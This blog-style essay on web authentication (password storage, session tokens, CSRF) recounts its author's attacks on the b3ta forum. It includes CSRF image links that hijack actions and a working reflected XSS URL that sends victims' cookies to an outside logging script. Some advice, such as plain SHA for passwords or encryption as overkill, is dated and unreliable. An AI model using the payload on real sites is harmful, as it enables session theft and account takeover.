Issues with Web authentication

This is a commentary on cal's articles on web authentication, and an elaboration on the attacks on b3ta. First of all i'll ramble on aimlessly on some of the issues cal talked about, and then some of the attacks in action.

If you're wanting to roll your own web authentication system, personally I wouldn't. It's hard to get right, and being lazy is easier. What follows is some of the issues I've come across while breaking other peoples. The main problems are verifying users and verifying users actions, assuming your scripts are immune to lovely problems like Sql Injection[1].

Verifying users - Authentication

Lets say you have a unique identifier for every user (you really should - you'll see why later), and they each have a password - Which makes my life a bit easier. You can authenticate over a secure channel if you wish, but unless you're handling credit card details, it's overkill. You should never store passwords in plaintext. It's bad practice, especially as people often use the same password for everything if your database gets compromised. The downsides cal mentioned seem a fair tradeoff for security.

Storing the passwords in a hash format is a good idea, and as cal mentioned most languages have a function built in. However crypt is woefully insecure, and if you're seriouslly worried, you could use a hash function specifically designed for crypto (MD6, SHA)

In general, users should not be able to find out what their passwords are. They should already know them. So, if I steal the session information (assuming they dont have the passwords in them) There should be no way I can find out what the password for the account is.

Verifying users - Sessions.

Session information is a token you give to each user (this may be unique to each user, or unique to each session), and poking fun at b3ta again, we take the example of storing the password and username in the cookies. This has a couple of downsides.

1. If the user is logged in at two places (say, two web browsers) and changes the name on one, the other won't be logged in anymore. This is why it's useful to store the unique number of each user inside the token.

2. Since the password is in the clear and not a hash of it, If I steal the cookies, I can log in as that user and change the password.

Effectively, the system on b3ta is like having the username and password repeatedly entered everytime you load a page. My friend paul suggested this lovely method of generating tokens (He probably did it beter):

When the user logs in, you make a hash of the password (once, twice, or a coupled of times) this is the value stored in the token (along with the user's id), this hashed value is hashed once more and this is stored in the database. This has the advantages of that if the cookies are stolen, they cannot find out the password. If an attacker gets read access to the database, they cannot get the session token for any users.

Session tokens are usually passed in one of two ways: In the URL and using cookies. Using it in the URL has no advantages over cookies. Especially if people accidentally link to the site with their token still in it. (I've seen this done quite a few times). Cookies have an advantage that they are 'invisible' to the user.

Urls are just as vunerable to cookies as theft, since if an evil script can read the cookies, it can read the url, and grab the token. not only that, if you post an image, you can log refferers to find out the details. So, choose cookies. Ok?

Validating Users Actions.

If you can't steal the users logins, you can often trick them into doing things. As cal mentioned, if your script can be run with alll of the arguments in GET form, like this:

update.php?password=bob&password_done=1

Someone evil (like me) can put an image on the page that links to that. People look at the page, load the image and their password is changed. The easiest way to stop this is to only accept POST data, but that means a lot of hassle if you have to update the pages. So instead, if you recieve any data with GET, fill it in to the form, and then confirm it with POST only.

Cal here assumed that you could write a script to get around this by simulating the POST request. The problem with this is that you need access to the users session data. So really, you could just pretend tio be them and just use the form provided. The way around this, is if you can post arbitary html anywhere on the site (so you can access the cookies), is you post a form with all the values set and hidden and encourage the users to click on the button (or force it with a script...).

Preventing this requires verifiers, which is where you add arbitary data to the requests that is induvidual for users. A simple way is to include session information in the request, or a simple hash of it (nicer imho). (what cal did).

breaking b3ta

(when you should be revising for a cs exam.)

1. the simple cookie stealing

It turns out you could post scripts into your profile. So I hacked something together to display the cookies. The next day, scripts were disabled.

2. the nasty images.

since all of the actions on b3ta could be performed as normal requests like:

login.php?username=John+Malkovich&password=testing&done=1

you could post this image to the board, and suprise suprise everyone logged in as John Malkovich. This also worked for deleteing peoples posts, and frontpaging, editing etc.

Earlier on, I had checked my logs, to see who is using which browsers, and worked out that you could match people up, by looking at the refferer. So if you post an image to the board, and my image gets loaded, I get a log saying refferer: b3ta.com/board/#post828289 - i look up who wrote post number 828289 and bingo.

So, one day blinging was annoying me, and so I kludged something together that if your ip matched blingings, it would redirect you to the logout page, for everyone else it was a 1x1 transparent gif.

3. Searching for html.

If you searched for a scrap of html on the board, it would come up unfiltered on the page, and it turned out you could post a script. So I played around and worked out this link

search.php?term=%3Cscript%3Edocument.location=location.hash.slice(1)%2Bdocument.cookie;%3C/script%3E#http://void.printf.net/~tef/cgi-bin/evil.pl/

(The search page kludges " and ', so I stuck the url to catch the cookies in the #)

So, in general: Verify users, their actions and especially the input :o)

Stay Fluffy - tef

Footnotes

[1] This is where you put SQL statements into input, and sneakily get to manipulate the database.